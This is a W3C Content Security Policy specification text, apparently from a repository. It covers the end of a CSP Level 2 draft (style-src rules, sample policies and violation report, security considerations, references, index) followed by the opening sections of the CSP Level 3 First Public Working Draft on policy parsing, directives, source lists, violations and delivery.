If 'unsafe-inline' is not in the list of allowed style sources, or if at least one nonce-source or hash-source is present in the list of allowed style sources:

Note: These restrictions on inline do not prevent the user agent from applying style from an external stylesheet (e.g., found via <link rel="stylesheet" ...>).

If 'unsafe-eval' is not in allowed style sources, then:

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed style sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting external style sheets, such as when processing the href attribute of a link element with a rel attribute containing the token stylesheet or when processing the <@import> directive in a stylesheet.

Note: The style-src directive does not restrict the use of XSLT. XSLT is restricted by the script-src directive because the security consequences of including an untrusted XSLT stylesheet are similar to those incurred by including an untrusted script.

7.18.1 Nonce usage for style elements

This section is not normative.

See the script-src nonce usage information for detail; the application of nonces to style elements is similar enough to avoid repetition here.

7.18.2 Hash usage for style elements

This section is not normative.

See the script-src hash usage information for detail; the application of hashes to style elements is similar enough to avoid repetition here.

8 Examples

8.1 Sample Policy Definitions

This section provides some sample use cases and supporting policies.

A server wishes to load resources only from its own origin:
Content-Security-Policy: default-src 'self'
An auction site wishes to load images from any URI, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript:
Content-Security-Policy:
    default-src 'self'; img-src *;
    object-src media1.example.com media2.example.com *.cdn.example.com;
    script-src trustedscripts.example.com
An online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:
Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'

This policy allows inline content (such as inline script elements), use of eval, and loading resources over https. Note: This policy does not provide any protection from cross-site scripting vulnerabilities.

A website that relies on inline script elements wishes to ensure that script is only executed from its own origin, and those elements it intentionally inserted inline:
Content-Security-Policy: script-src 'self' 'nonce-$RANDOM';

The inline script elements would then only execute if they contained a matching nonce attribute:

<script nonce="$RANDOM">...</script>

8.2 Sample Violation Report

This section contains an example violation report the user agent might sent to a server when the protected resource violations a sample policy.

In the following example, the user agent rendered a representation of the resource http://example.org/page.html with the following policy:

default-src 'self'; report-uri http://example.org/csp-report.cgi

The protected resource loaded an image from http://evil.example.com/image.png, violating the policy.

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/haxor.html",
    "blocked-uri": "http://evil.example.com/image.png",
    "violated-directive": "default-src 'self'",
    "effective-directive": "img-src",
    "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
  }
}

9 Security Considerations

9.1 Cascading Style Sheet (CSS) Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

9.2 Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that white lists https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g., idenityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URI, the violation report might contain sensitive information contained in the redirected URI, such as session identifiers or purported identities. For this reason, the user agent includes only the origin of the blocked URI.

10 Implementation Considerations

The Content-Security-Policy header is an end-to-end header. It is processed and enforced at the client and, therefore, SHOULD NOT be modified or removed by proxies or other intermediaries not in the same administrative domain as the resource.

The originating administrative domain for a resource might wish to apply a Content-Security-Policy header outside of the immediate context of an application. For example, a large organization might have many resources and applications managed by different individuals or teams but all subject to a uniform organizational standard. In such situations, a Content-Security-Policy header might be added or combined with an existing one at a network-edge security gateway device or web application firewall. To enforce multiple policies, the administrator SHOULD combine the policy into a single header. An administrator might wish to use different combination algorithms depending on his or her intended semantics.

One sensible policy combination algorithm is to start by allowing a default set of sources and then letting individual upstream resource owners expand the set of allowed sources by including additional origins. In this approach, the resultant policy is the union of all allowed origins in the input policies.

Another sensible policy combination algorithm is to intersect the given policies. This approach enforces that content comes from a certain whitelist of origins, for example, preventing developers from including third-party scripts or content in violation of organizational standards and practices. In this approach, the combination algorithm forms the combined policy by removing disallowed hosts from the policies supplied by upstream resource owners.

Interactions between the default-src and other directives SHOULD be given special consideration when combining policies. If none of the policies contains a default-src directive, adding new src directives results in a more restrictive policy. However, if one or more of the input policies contain a default-src directive, adding new src directives might result in a less restrictive policy, for example, if the more specific directive contains a more permissive set of allowed origins.

Using a more restrictive policy than the input policy authored by the resource owner might prevent the resource from rendering or operating as intended.

Note also that migration to HTTPS from HTTP may require updates to the policy in order to keep things running as before. Source expressions like http://example.com do not match HTTPS resources. For example, administrators SHOULD carefully examine existing policies before rolling out HTTP Strict Transport Security headers for an application. [RFC6797]

11 IANA Considerations

The permanent message header field registry should be updated with the following registrations: [RFC3864]

11.1 Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy Header Field)

11.2 Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Report-Only Header Field)

11.3 CSP

Header field name
CSP
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See §3.4 The CSP HTTP Request Header)

12 Acknowledgements

In addition to the documents in the W3C Web Application Security working group, the work on this document is also informed by the work of the IETF websec working group, particularly that working group’s requirements document: draft-hodges-websec-framework-reqs.

A portion of the frame-ancestors directive was originally developed as X-Frame-Options. [RFC7034]

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words "for example" or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word "Note" and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Conformance Classes

A conformant user agent must implement all the requirements listed in this specification that are applicable to user agents.

A conformant server must implement all the requirements listed in this specification that are applicable to servers.

References

Normative References

[ABNF]
Dave Crocker; Paul Overell. Augmented BNF for Syntax Specifications: ABNF. RFC. URL: http://www.ietf.org/rfc/rfc5234.txt
[BEACON]
Jatinder Mann; Alois Reitbauer. Beacon. WD. URL: http://www.w3.org/TR/beacon/
[CSS3-FONTS]
John Daggett. CSS Fonts Module Level 3. 12 February 2013. W3C Working Draft. (Work in progress.) URL: http://www.w3.org/TR/2013/WD-css3-fonts-20130212/
[CSS4-IMAGES]
Elika J. Etemad; Tab Atkins Jr.. CSS Image Values and Replaced Content Module Level 4. 11 September 2012. W3C Working Draft. (Work in progress.) URL: http://www.w3.org/TR/2012/WD-css4-images-20120911/
[CSSOM]
Anne van Kesteren. CSSOM. 12 July 2011. W3C Working Draft. (Work in progress.) URL: http://www.w3.org/TR/2011/WD-cssom-20110712/
[ECMA-262]
???. ECMAScript Language Specification, Third Edition. December 1999. URL: http://www.ecma-international.org/publications/standards/Ecma-262.htm
[EVENTSOURCE]
Ian Hickson. Server-Sent Events. 11 December 2012. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2012/CR-eventsource-20121211/
[HTML-IMPORTS]
Dmitri Glazkov; Hajime Morrita. HTML Imports. WD. URL: http://www.w3.org/TR/html-imports/
[HTML5]
Robin Berjon; et al. HTML5. 17 June 2014. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2014/WD-html5-20140617/
[REFERRER]
Jochen Eisinger; Mike West. Referrer Policy. FPWD. URL: https://w3c.github.io/webappsec/specs/referrer-policy/
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. URL: http://www.ietf.org/rfc/rfc2119.txt
[RFC3492]
Adam M. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). REC. URL: http://www.ietf.org/rfc/rfc3492.txt
[RFC3864]
Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. Registration Procedures for Message Header Fields. RFC. URL: http://www.ietf.org/rfc/rfc3864.txt
[RFC4627]
Douglas Crockford. The 'application/json' Media Type for JavaScript Object Notation (JSON). RFC. URL: http://www.ietf.org/rfc/rfc4627.txt
[RFC6454]
Adam Barth. The Web Origin Concept. RFC. URL: http://www.ietf.org/rfc/rfc6454.txt
[RFC7034]
David Ross; Tobias Gondrom. HTTP Header Field X-Frame-Options. RFC. URL: http://www.ietf.org/rfc/rfc7034.txt
[RFC7230]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Message Syntax and Routing. RFC. URL: http://www.ietf.org/rfc/rfc7230.txt
[RFC7231]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Semantics and Content. RFC. URL: http://www.ietf.org/rfc/rfc7231.txt
[URI]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifiers (URI): generic syntax. January 2005. URL: http://www.ietf.org/rfc/rfc3986.txt
[WEBIDL]
Cameron McCormack. Web IDL. 19 April 2012. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2012/CR-WebIDL-20120419/
[WEBSOCKETS]
Ian Hickson. The WebSocket API. 20 September 2012. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2012/CR-websockets-20120920/
[WORKERS]
Ian Hickson. Web Workers. 1 May 2012. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2012/CR-workers-20120501/
[XML11]
Eve Maler; et al. Extensible Markup Language (XML) 1.1 (Second Edition). 16 August 2006. W3C Recommendation. URL: http://www.w3.org/TR/2006/REC-xml11-20060816
[XMLHTTPREQUEST]
Julian Aubourg; 송정기 (Jungkee Song); Hallvord R. M. Steen. XMLHttpRequest. 6 December 2012. W3C Working Draft. (Work in progress.) URL: http://www.w3.org/TR/2012/WD-XMLHttpRequest-20121206/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. W3C Recommendation. URL: http://www.w3.org/TR/1999/REC-xslt-19991116

Informative References

Index

  • allowed base URIs, 7.1
  • allowed child sources, 7.2
  • allowed connection targets, 7.3
  • allowed font sources, 7.5
  • allowed form actions, 7.6
  • allowed frame ancestors, 7.7
  • allowed frame sources, 7.8
  • allowed image sources, 7.9
  • allowed media sources, 7.10
  • allowed object sources, 7.11
  • allowed plugin media types, 7.12
  • allowed script sources, 7.17
  • allowed style sources, 7.18
  • ancestor-source, 7.7
  • ancestor-source-list, 7.7
  • base64-value, 4.2
  • base-uri, 7.1
  • blockedURI
    • attribute for SecurityPolicyViolationEvent, 6.1
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • callable, 2
  • callers, 2
  • child-src, 7.2
  • columnNumber
    • attribute for SecurityPolicyViolationEvent, 6.1
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • conformant server, Unnumbered section
  • conformant user agent, Unnumbered section
  • connect-src, 7.3
  • Content-Security-Policy, 3.1
  • Content-Security-Policy-Report-Only, 3.2
  • Content Security Policy task source, 4.4
  • CSP, 3.4
  • csp-header-value, 3.4
  • default sources, 7.4
  • default-src, 7.4
  • digest of element’s content, 4.2.5
  • directive, 2
  • directive name, 2
  • directive-name, 4.1
  • directive-token, 4.1
  • directive-value, 4.1
  • directive value, 2
  • documentURI
    • attribute for SecurityPolicyViolationEvent, 6.1
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • effectiveDirective
    • attribute for SecurityPolicyViolationEvent, 6.1
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • element’s content, 4.2.5
  • enforce, 5
  • eventInitDict, 6.1
  • fire a violation event, 6.3
  • font-src, 7.5
  • form-action, 7.6
  • frame-ancestors, 7.7
  • frame-src, 7.8
  • generate a violation report object, 4.4
  • generating a violation report object, 4.4
  • globally unique identifier, 2
  • hash-algo, 4.2
  • hash-source, 4.2
  • hash-value, 4.2
  • host-char, 4.2
  • host-part, 4.2
  • host-source, 4.2
  • HTTP 200 response, 2
  • img-src, 7.9
  • JSON object, 2
  • JSON stringification, 2
  • keyword-source, 4.2
  • lineNumber
    • attribute for SecurityPolicyViolationEvent, 6.1
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • match a media type list, 4.3.2
  • match a source expression, 4.2.2
  • match a source list, 4.2.2
  • media-src, 7.10
  • media type, 4.3
  • media-type, 4.3
  • media type list, 4.3
  • media-type-list, 4.3
  • monitor, 5
  • nonce
    • (element-attr), 4.2.3
    • attribute for HTMLScriptElement, 4.2.3
    • attribute for HTMLStyleElement, 4.2.3
  • nonce-source, 4.2
  • nonce-value, 4.2
  • object-src, 7.11
  • origin, 2
  • originalPolicy
    • attribute for SecurityPolicyViolationEvent, 6.1
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • parse a media type list, 4.3.1
  • parse a source list, 4.2.1
  • parse the policy, 4.1.1
  • path-part, 4.2
  • plugin-types, 7.12
  • policy, 2
  • policy-token, 4.1
  • port-part, 4.2
  • protected resource, 2
  • referrer
    • attribute for SecurityPolicyViolationEvent, 6.1
    • attribute for SecurityPolicyViolationEventInit, 6.2
    • definition of, 7.13
  • reflected-xss, 7.14
  • report a violation, 4.4
  • report-uri, 7.15
  • resource representation, 2
  • runs a worker, 2
  • sandbox, 7.16
  • sandbox-token, 7.16
  • scheme-part, 4.2
  • scheme-source, 4.2
  • script-src, 7.17
  • security policy, 2
  • security policy directive, 2
  • SecurityPolicyViolationEvent, 6.1
  • SecurityPolicyViolationEventInit, 6.2
  • send violation reports, 4.4
  • set of report URIs, 7.15
  • SHA-256, 2
  • SHA-384, 2
  • SHA-512, 2
  • source-expression, 4.2
  • source expression, 4.2
  • source-file, 4.4
  • sourceFile
    • attribute for SecurityPolicyViolationEvent, 6.1
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • source-list, 4.2
  • source list, 4.2
  • statusCode, 6.1
  • stripped for reporting, 4.4
  • strip uri for reporting, 4.4
  • style-src, 7.18
  • type, 6.1
  • URI, 2
  • uri-reference, 7.15
  • valid hash, 4.2.5
  • valid nonce, 4.2.4
  • violatedDirective
    • attribute for SecurityPolicyViolationEvent, 6.1
    • attribute for SecurityPolicyViolationEventInit, 6.2
================================================ FILE: published/FPWD-2015-01.html ================================================ Content Security Policy Level 3

Content Security Policy Level 3

W3C First Public Working Draft,

This version:
http://www.w3.org/TR/2015/WD-CSP-3-20150119/
Latest version:
http://www.w3.org/TR/CSP3/
Editor's Draft:
https://w3c.github.io/webappsec-csp/
Version History:
https://github.com/w3c/webappsec-csp/commits/master/index.src.html
Feedback:
public-webappsec@w3.org with subject line “[CSP] … message topic …” (archives)
Editor:
(Google Inc.)
Participate:
File an issue (open issues)

Abstract

This document defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Working Draft. This document is intended to become a W3C Recommendation.

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “CSP” in the subject, preferably like this: “[CSP] …summary of comment…

This document is a First Public Working Draft.

Publication as a First Public Working Draft does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

This document was produced by the Web Application Security Working Group.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 1 September 2015 W3C Process Document.

Table of Contents

1. Introduction

This section is not normative.

This document defines Content Security Policy (CSP), a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.

CSP is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.

This document is an iteration on Content Security Policy Level 2, with the goal of more clearly explaining the interactions between CSP, HTML, and Fetch on the one hand, and providing clear hooks for modular extensibility on the other. Ideally, this will form a stable core upon which we can build new functionality.

1.1. Examples

1.1.1. Control Execution

MegaCorp Inc’s developers want to protect themselves against cross-site scripting attacks. They can mitigate the risk of script injection by ensuring that their trusted CDN is the only origin from which script can load and execute. Moreover, they wish to ensure that no plugins can execute in their pages' contexts. The following policy has that effect:
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. Goals

Content Security Policy aims to do to a few related things:

  1. Mitigate the risk of content-injection attacks by giving developers fairly granular control over

    • The resources which can be requested (and subsequently embedded or executed) on behalf of a specific Document or Worker

    • The execution of inline script

    • Dynamic code execution (via eval() and similar constructs)

    • The application of inline style

  2. Mitigate the risk of attacks which require a resource to be embedded in a malicious context (the "Pixel Perfect" attack described in [TIMING], for example) by giving developers granular control over the origins which can embed a given resource.

  3. Provide a policy framework which allows developers to reduce the privilege of their applications.

  4. Provide a reporting mechanism which allows developers to detect flaws being exploited in the wild.

1.3. Changes from Level 2

This document describes an evolution of the Content Security Policy Level 2 specification [CSP2]. The following is a high-level overview of the changes:

  1. The specification has been rewritten from the ground up in terms of the [FETCH] specification, which should make it simpler to integrate CSP’s requirements and restrictions with other specifications (and with Service Workers in particular).

  2. The frame-src directive, which was deprecated in CSP Level 2, has been removed.

  3. Insecure schemes in source expressions now match their secure variants. That is, http: is equivalent to http: https:, and http://a.com to http://a.com https://a.com.

    Likewise, 'self' now matches https and wss variants of the page’s origin, even on pages whose scheme is http.

  4. Violation reports generated from inline script or style will now report "inline" as the blocked resource. Likewise, blocked eval() execution will report "eval" as the blocked resource.

  5. Directives with effects on a Document or Worker itself (as opposed to the resources such a context can load) have moved out into a separate [CSP-DOCUMENT] module. This includes base-uri, form-action, frame-ancestors, plugin-types, sandbox.

  6. The manifest-src directive has been added.

  7. The report-uri directive is deprecated in favor of the new report-to directive, which relies on [OOB-REPORTING] as infrastructure.

1.4. Open Questions

  1. Do we really want to remove frame-src? Though the threat model of workers and frames is similar, they have distinct capabilities. Perhaps it makes sense for folks to allow workers while disallowing frames, or vice-versa?

  2. Can we enable sandbox inside meta? It’s not clear what threat we’re preventing by dropping support for it (and Chrome and Safari support it today).

  3. Reporting:

    1. Do we still need to strip values? I think we’ve removed much of the risk by using the original URL of a blocked resource; there shouldn’t be anything in the report JSON that script can’t gather on its own by walking the DOM.

2. Framework

2.1. Policies

A policy defines a set of allowed and restricted behaviors, and may be applied to a Window or WorkerGlobalScope as described in §4.2.2 Initialize a global object’s CSP list.

Each policy has an associated directive set, which is a set of directives that define the policy’s implications when applied.

Each policy has an associated disposition, which is either "enforce" or "report".

A serialized CSP is an ASCII string, consisting of a semicolon-delimited series of serialized directives, adhering to the following ABNF grammar [RFC5234]:

serialized-policy = serialized-directive *( OWS ";" [ OWS serialized-directive ] )
                    ; OWS is defined in section 3.2.3 of RFC 7230

2.1.1. Parse a serialized CSP as disposition

Given a serialized CSP (serialized CSP), and a disposition (disposition), this algorithm will return a policy object. If the string cannot be parsed, the resulting policy’s directive set will be empty.

  1. Let policy be a new policy with an empty directive set, and a disposition of disposition.

  2. For each token returned by strictly splitting serialized CSP on the U+003B SEMICOLON character (;):

    1. Strip leading and trailing whitespace from token.

    2. If token is an empty string, skip the remaining substeps and continue to the next item.

    3. Let directive name be the result of collecting a sequence of characters from token which are not space characters.

    4. If policy’s directive set contains a directive whose name is directive name, skip the remaining substeps and continue to the next item.

      The user agent SHOULD notify developers that a directive was ignored. A console warning might be appropriate, for example.

    5. Let directive value be the result of splitting token on spaces.

    6. Let directive be a new directive whose name is directive name, and value is directive value.

    7. Add directive to policy’s directive set.

  3. Return policy.

2.1.2. Parse a serialized CSP list as disposition

Given a string (list) and a disposition (disposition) which contains a comma-delimited series of serialized CSP strings, the following algorithm will return a list of policies:

  1. Let policies be an empty list.

  2. For each token returned by splitting list on commas:

    1. Let policy be the result of executing §2.1.1 Parse a serialized CSP as disposition on token with disposition.

    2. If policy’s directive set is empty, skip the remaining substeps, and continue to the next item.

    3. Add policy to policies.

  3. Return policies.

2.2. Directives

Policies contain a set of directives, each of which controls a specific behavior. The directives defined in this document are described in detail in §6 Content Security Policy Directives.

Each directive is a name / value pair. The name is a non-empty string, and the value is a set of non-empty strings. The value set MAY be empty.

A serialized directive is an ASCII string, consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [RFC5234]:

serialized-directive = directive-name [ RWS directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( %x09 / %x20-%x2B / %x2D-%x3A / %x3C-%7E )
                       ; Directive values may contain whitespace and VCHAR characters,
                       ; excluding ";" and ","

; RWS is defined in section 3.2.3 of RFC7230. ALPHA, DIGIT, and
; VCHAR are defined in Appendix B.1 of RFC 5234.

Directives have five associated algorithms:

  1. A pre-request check, which takes a request and a policy as an argument, and is executed during §4.1.3 Should request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  2. A post-request check, which takes a request, a response, and a policy as arguments, and is executed during §4.1.4 Should response to request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  3. A response check, which takes a request, a response, and a policy as arguments, and is executed during §4.1.4 Should response to request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  4. An inline check, which takes an Element and a type string as arguments, and is executed during §4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  5. An initialization, which takes a Document or global object, a response, and a policy as arguments. This algorithm is executed during §4.2.1 Initialize a Document's CSP list, and has no effect unless otherwise specified.

2.2.1. Source Lists

Many directives' values consist of source lists: sets of tokens which identify content that can be fetched and potentially embedded or executed. These tokens represent one of the following types of source expression:

  1. Keywords such as 'none' and 'self' (which match nothing and the current URL’s origin, respectively)

  2. Serialized URLs such as https://example.com/path/to/file.js (which matches a specific file) or https://example.com/ (which matches everything on that origin)

  3. Schemes such as https: (which matches any resource having the specified scheme)

  4. Hosts such as example.com (which matches any resource on the host, regardless of scheme) or *.example.com (which matches any resource on the host or any of its subdomains (and any of its subdomains' subdomains, and so on))

  5. Nonces such as 'nonce-qwertyu12345' (which can match specific elements on a page)

  6. Digests such as 'sha256-abcd...' (which can match specific elements on a page)

A serialized source list is an ASCII string, consisting of a space-delimited series of source expressions, adhering to the following ABNF grammar [RFC5234]:

serialized-source-list = ( source-expression *( RWS source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; Schemes:
scheme-source = scheme ":"
                ; scheme is defined in section 3.1 of RFC 3986.

; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
scheme-part = scheme
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char   = ALPHA / DIGIT / "-"
port-part   = ":" ( 1*DIGIT / "*" )
path-part   = path
              ; path is defined in section 3.3 of RFC 3986.
   
; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'" 

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" ) 

; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly as part of a serialized CSP, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de MUST be represented as xn--tdaaaaaa.de.

Note: Though IP address do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see §6.1.11.2 Does url match source list? for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames whenever possible.

A URL matches a source list if the algorithm in §6.1.11.2 Does url match source list? returns Matches.

2.3. Violations

A violation represents an action or resource which goes against the policies associated with a global object.

Each violation has a global object, which is the global object whose policy has been violated.

Each violation has a url which is its global object’s URL.

Each violation has a status which is a non-negative integer representing the HTTP status code of the resource for which the global object was instantiated.

Each violation has a resource, which is either null, "inline", "eval", or a URL. It represents the resource which violated the policy.

Each violation has a referrer, which is either null, or a URL. It represents the referrer of the resource whose policy was violated.

Each violation has a policy, which is the policy that has been violated.

Each violation has an effective directive which is a non-empty string representing the directive whose enforcement caused the violation.

Each violation has a source file, which is either null or a URL.

Each violation has a line number, which is a non-negative integer.

Each violation has a column number, which is a non-negative integer.

2.3.1. Create a violation object for global, policy, and directive

Given a global object (global), a policy (policy), and a string (directive), the following algorithm creates a new violation object, and populates it with an initial set of data:

  1. Let violation be a new violation whose global object is global, policy is policy, effective directive is directive, and resource is null.

  2. If the user agent is currently executing script, and can extract a source file’s URL, line number, and column number from the global, set violation’s source file, line number, and column number accordingly.

    Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ES2015].

  3. If global is a Window object, set violation’s referrer to global’s document's referrer.

  4. Set violation’s status to the HTTP status code for the resource associated with violation’s global object.

    How, exactly, do we get the status code? We don’t actually store it anywhere.

  5. Return violation.

2.3.2. Create a violation object for request, policy, and directive

Given a request (request), a policy (policy), and a string (directive), the following algorithm creates a new violation object, and populates it with an initial set of data:

  1. Let violation be the result of executing §2.3.1 Create a violation object for global, policy, and directive on request’s client’s global object, policy, and directive.

  2. Set violation’s resource to request’s url.

    Note: We use request’s url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access.

  3. Return violation.

3. Policy Delivery

A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in §3.1 The Content-Security-Policy HTTP Response Header Field and §3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch and HTML is described in §4.1 Integration with Fetch and §4.2 Integration with HTML.

A policy may also be declared inline in an HTML document via a meta element’s http-equiv attribute, as described in §3.3 The <meta> element.

3.1. The Content-Security-Policy HTTP Response Header Field

The Content-Security-Policy HTTP response header field is the preferred mechanism for delivering a policy from a server to a client. The header’s value is represented by the following ABNF [RFC5234]:

Content-Security-Policy = 1#serialized-policy
Content-Security-Policy: script-src 'self';
                         report-to csp-reporting-endpoint

A server MAY send different Content-Security-Policy header field values with different representations of the same resource.

A server SHOULD NOT send more than one HTTP response header field named "Content-Security-Policy" with a given resource representation.

When the user agent receives a Content-Security-Policy header field, it MUST parse and enforce each serialized CSP it contains as described in §4.1 Integration with Fetch, §4.2 Integration with HTML.

3.2. The Content-Security-Policy-Report-Only HTTP Response Header Field

The Content-Security-Policy-Report-Only HTTP response header field allows web developers to experiment with policies by monitoring (but not enforcing) their effects. The header’s value is represented by the following ABNF [RFC5234]:

Content-Security-Policy-Report-Only = 1#serialized-policy

This header field allows developers to piece together their security policy in an iterative fashion, deploying a report-only policy based on their best estimate of how their site behaves, watching for violation reports, and then moving to an enforced policy once they’ve gained confidence in that behavior.

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-to csp-reporting-endpoint

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource.

A server SHOULD NOT send more than one HTTP response header field named "Content-Security-Policy-Report-Only" with a given resource representation.

When the user agent receives a Content-Security-Policy-Report-Only header field, it MUST parse and monitor each serialized CSP it contains as described in §4.1 Integration with Fetch and §4.2 Integration with HTML.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3. The <meta> element

A Document may deliver a policy via one or more HTML meta elements whose http-equiv attributes are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Implementation details can be found in HTML’s Content-Security-Policy http-equiv processing instructions [HTML].

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element. Neither are the report-uri, frame-ancestors, and sandbox directives.

Why sandbox? Can we loosen that?

Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which precede a meta-delivered policy will not be blocked.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple policies is described in §8.1 The effect of multiple policies.

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

4. Integrations

This section is non-normative.

This document defines a set of algorithms which are used in other specifications in order to implement the functionality. These integrations are outlined here for clarity, but those external documents are the normative references which ought to be consulted for detailed information.

4.1. Integration with Fetch

A number of directives control resource loading in one way or another. This specification provides algorithms which allow Fetch to make decisions about whether or not a particular request should be blocked or allowed, and about whether a particular response should be replaced with a network error.

  1. §4.1.3 Should request be blocked by Content Security Policy? is called as part of step #4 of its Main Fetch algorithm.

  2. §4.1.4 Should response to request be blocked by Content Security Policy? is called as part of step #12 of its Main Fetch algorithm.

